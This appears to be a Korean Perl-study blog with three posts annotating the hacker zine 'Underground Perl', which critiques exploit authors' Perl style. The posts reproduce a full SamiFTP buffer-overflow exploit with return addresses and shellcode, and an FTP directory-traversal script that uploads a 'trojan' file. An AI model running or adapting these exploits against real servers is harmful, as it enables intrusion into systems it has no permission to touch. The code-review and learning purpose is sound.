'underground perl'에 해당되는 글 3건

  1. 2008.10.06 Underground Perl #1 - 4
  2. 2008.10.05 Underground Perl #1 - 2
  3. 2008.10.05 Underground Perl #1 - 1

Naver Perl Community & Study Cafe


2008.10.06 18:06

Underground Perl #1 - 4

-[0x03] # Critical Security Critically Sucks -----------------
# 이번에는... Critical Security 를 한번 까본다.
# Author :  Critical Security
# http://www.critical.lt/
# 저자 : http://www.milw0rm.com/author/547
# 원문 : http://www.milw0rm.com/exploits/1448
# 이탈리아 보안 팀이며 이 문서는 sami ftp 서버의 취약점을
# 분석하여 exploit을 작성하였다.

# SamiFTPServer 취약점인 2.0.1 버전대의 프로그램을 구하여 일단 실험


# 설치성공 후 실행 화면


# ftp 프로그램으로 접속을 해봤더니 잘 되는것을 확인 할 수 있다.



# user id를 입력을 할때 오버플로우가 일어나는데 이것을 이용하여 
# exploit 코드를 작성하였다.



use Net::FTP;                 
use Switch; 
# Switch sucks
#스위치를 쓰는것에 대해서 sucks;
if (@ARGV < 3) { print "--------------------------------------------------------------------\n"; print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress -oOffsetNumber\n"; print " Offsets: \n"; print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n"; print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n"; print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n"; print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp\n"; print " If values not specified, default values will be used.\n"; print " Example : ./eploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n"; print "--------------------------------------------------------------------\n"; } $host = "127.0.0.1"; $yourip = "127.0.0.1" ; # how about: my ($host, $yourip) = '127.0.0.1';
# 같은 값을 선언을 할때는 list로 묶어준다.
 
$offset = "\xE0\x3A\xB4\x76"; 

foreach (@ARGV) { 
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$yourip = $1 if ($_=~/-y((.*)\.(.*)\.(.*)\.(.*))/);
$offset = $1 if ($_=~/-o(.*)/);
}
# Do I need to get into how much you suck at regex? 
# Way to overuse parens and .* and $_
# my ($host) = $_ =~ /(-h\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# might as name that loop val since you'll use it

# 정규식을 제대로 쓰지 않았다.
# 일단 IP는 숫자임으로 임의의 문자인 . 이 아니라 숫자인 \d 그리고 
# {1,3}까지의 반복이 정확한 표현이다.
switch ($offset) {
case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call esp
case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call esp
case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp esp
case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6  kernel32.dll jmp esp
}

# 코드를 간단히 설명하자면 운영체제마다 offset을 따로 설정하여
# xp sp0~2 그리고 FreeBSD 까지 exploit이 되도록 설정하였다.
# FTP 서버에 올라오는 모듈 중 winmm.dll 의 call esp 코드 사용


# Trempolin Technique

# 쉘코드의 정확한 위치를 알지 못하기 때문에

# 메모리 주소가 항상 일정한 dll코드를 사용한다.

foreach $letter (split '', $yourip) { $c++;}; # never heard of length()

# length함수를 쓰면 간단히 해결 가능
# $c = length($yourip);

$ftp = Net::FTP->new($host, Debug => 0)  or die "Cannot connect: $@";
$user = "A" x 213 . # You could give kokanin some lessons
"A" x (15 - $c)   . 
$offset .           
# ret adresas a kokio dll'o call esp  ar jmp esp, ar ka nors panaðaus svarbu, 
kad nuðoktume a esp ;)
"\x90" x 25 .       # nop'ø sled'as, kad sulygintume su esp esaneiu adresu

# ðelkodas paleidþiantis notepad?  
(ðelkodas skirtas tiem kas sake, jog critical megsta DoS :*) - noresit, asidesit normalø..
"\xCD\x03".
"\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C".
"\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C".
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B".
"\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34".
"\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74".
"\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28".
"\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B".
"\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24".
"\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A".
"\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8".
"\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B".
"\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74".
"\x65\x70\x61\x64\x2E\x65\x78\x65\x01";
$ftp->login("$user","biatch"); 
# bah, just when I thought you knew not to quote vars
# 모두들 쿼터를 너무 좋아하는듯..

# 일단 오버플로우 되는것은 확인하였으나 exploit 코드가 실행되지는 않았다.
# 뭔가 문제가 있는듯.. 전체적인 코드는 일단 확인했으니
# 시간날 때 직접 exploit코드를 작성해보도록 하자.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Trackback 0 Comment 0
2008.10.05 17:48

Underground Perl #1 - 2

-[0x01] # kokanin sucks --------------------------------------------------

# kokanin man I expected more from you
# gobbles gobbles =P

# kakanin 난 당신을 기대하고 있다.
# 한번 살펴 볼까~~ 
# kokanin님은 exploit코드를 작성하는 사람중의 한명이다.
# perl에 맞지않는 코드에 대해서 kokanin님을 까보겠다는 뜻인듯...

if(!$ARGV[0]){ 
die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] 
[trojan.exe] [/path/to/target.exe] \n"
;}# heh
# 간단히 비웃어 주는 센스;;

use Net::FTP;
my $target = $ARGV[0]; 
# you won't be the last to be horribly ignorant of shift

# 그렇다.. 여기서 perl을 많이 써봤느냐 아니냐를 알 수 있게 된다.
# 일단 위의 방식의 코드를 써도 상관이 없으나
# perl을 제대로 공부했다면 shift를 사용하여 코드를 작성할 것이다.

my $dotdot = "../../../../../../../../../../../../../../";
 
# we got this thing called x, eh? my $dotdot = '../' x 14;
# 우리가 이 상황이었으면 이렇게 썼겠지?
# my $dotdot = '../' x 14;
# perl에서는 x 연산자를 사용하여 
# 보다 편하게 문자를 원하는 만큼 출력이 가능하다.
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } 
else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } 
else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
# Dude, learn how to handle arguments. see the 'shift' function? 
takes a value off an array. smooth huh? 
# 어이!! 인자를 처리하는 방법을 배워야지 이 shift 함수가 보이냐?
# 배열으로부터 값을 가지고 오는거지 부드럽지 않냐 응???
my $target = shift || '127.0.0.1';
my $user   = shift || 'IEUser';
my $pass   = shift || 'mail@mail.com';
my $port   = shift || '22003';
my $path   = shift || '/guests';
my $trojan = shift || '/etc/hosts';
my $dest   = shift || 'owned.txt';
# 좀 기분이 나쁘긴 하겠지만 제대로 깠다..
# 이정도 까였으면 다음부터는 저렇게 쓰겠지... 허허
# path가 아니라 writablepath인데... 나도 한번 까볼까...

print " target: $target \n 
user: $user \n 
pass: $pass \n 
port: $port \n 
writable path: $writablepath \n 
trojan: $trojan \n 
targetfile: $destination \n";

use Net::FTP; 
# love how you include this twice. 
# 같은 코드를 두번이나 썼군...
$ftp = Net::FTP->new("$target", #way to excess quote                      
                       # 쿼터를 쓰는 방법이 잘못됐다.
                      Debug => 0,
                      Port => "$port")#oh look its those quotes again
                       # 여전히 쿼터를 쓴다.. 참고로 안써도 된다.
                       # Port=> $port 
or die "Cannot connect: $@";
$ftp->login("$user","$pass") # quotes quotes!
# 쿼터 쿼터! ㅎㅎ 계속 까는 중
or die "Cannot login ", $ftp->message;
$ftp->cwd("$writablepath") # quotes!
# 쿼터! 언제까지 깔껀지;;
or die "Cannot go to writable dir ", $ftp->message;
my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000",
"WIN2K","WINDOWS","WINDOZE"); 
# ever heard of qw(), buddy?
# 이봐.. qw() 들어본 적 없는가??
# qw()을 이용하면 보다 편하게 문자열을 처리할 수 있다.
# perl 문서에 보면 나온다...
# my @systemroots = qw(PUNIX WINXP WINNT WIN2000 WIN2K WINDOWS WINDOZE);
# 이렇게 초기값 설정이 가능.
for(@systemroots){
  $reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
  if($reply == 2) { 
       print " %SYSTEMROOT% is /$_\n";
       my $systemroot=$_; 
  } # way to actually use that $systemroot var sometime
}

# 내 생각에는 for문을 사용하는 것보다 foreach문을 사용하여 쓰는것이
# 더욱 perl Authors 다운 코드가 아닐까..

$ftp->binary;
$ftp->put("$trojan","$dotdot"."$destination")
# you really love quotes, don't you?
# 계속적으로 쿼터를 쓰는 것에대해서 반박하고 있다.
# 여기서 put이 어떤 역활을 하는지 Cpan을 잠시 훓어보자
# http://search.cpan.org/~gbarr/libnet-1.22/Net/FTP.pm
# put ( LOCAL_FILE [, REMOTE_FILE ] )
# Put a file on the remote server
# 로컬에 있는 파일을 원격 서버에 업로드 시키는 프로그램

and print "file successfully uploaded, 
donate money to kokanin\@gmail.com\n" or 
# 하하.. 돈을 기부하라니.. 어이없다.
die "Something messed up, file upload failed ", 
$ftp->message;
$ftp->quit;

# <ilja>  idiot == kokanin ?
# <idiot> kokanin = idiot
# you said it
# For a guy with a reputation, 
# a knack for finding vulns, and years under your belt, 
# you really suck.

== 정리 ==

취약점이 있는 FTP 서버에
악성코드를 업로드 시키는 코드이다.

마지막에 바보라고 딱잘라서 말하는 저자가
속시원하게 보이는 이유는 무엇일까?



신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Trackback 0 Comment 0
2008.10.05 17:04

Underground Perl #1 - 1

Underground Perl에 대해서 분석을 해볼 계획이다.

리눅스의 명령어를 이용하여 작성했던 날짜와 

문서의 목록들을 센스있게 출력하고 있다.

원문의 전체링크 : http://www.milw0rm.com/author/893 

Underground Perl의 1판



[root@yourbox.anywhere]$ date
Tue Jan 31 01:34:43 EST 2006


[root@yourbox.anywhere]$ cat ./fucksticks.pl

use strict;

$ARGV[0]  = q |~ TOC                                ~|;
$ARGV[1]  = q |~ kokanin sucks                      ~|;
$ARGV[2]  = q |~ frustration                        ~|;
$ARGV[3]  = q |~ Critical Security critically sucks ~|; 
$ARGV[4]  = q |~ School You: MJD                    ~|;
$ARGV[5]  = q |~ kaneda doesn't get away            ~|;
$ARGV[6]  = q |~ ph33rs                             ~|;
$ARGV[7]  = q |~ Fyodor gets caught                 ~|;
$ARGV[8]  = q |~ School You: BrowserUK              ~|;
$ARGV[9]  = q |~ He wants mercy                     ~|;
$ARGV[10] = q |~ School You: japhy                  ~|;                
$ARGV[11] = q |~ DSR *clap clap*                    ~|;
$ARGV[12] = q |~ School You: tachyon                ~|;                 
$ARGV[13] = q |~ Reads like Roadkill                ~|;                 
$ARGV[14] = q |~ School You: merlyn                 ~|;               
$ARGV[15] = q |~ r0t0r can't get a break            ~|;
$ARGV[16] = q |~ Ch4r's contribution to Perl        ~|;
$ARGV[17] = q |~ School You: Juerd                  ~|;
$ARGV[18] = q |~ byterage dropped the ball          ~|;
$ARGV[19] = q |~ School You: tilly                  ~|;
$ARGV[20] = q |~ ilya loses his reputation          ~|;
$ARGV[21] = q |~ Shoutz and Outz                    ~|;

[root@yourbox.anywhere]$ perl bring_it.pl
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Trackback 0 Comment 0


티스토리 툴바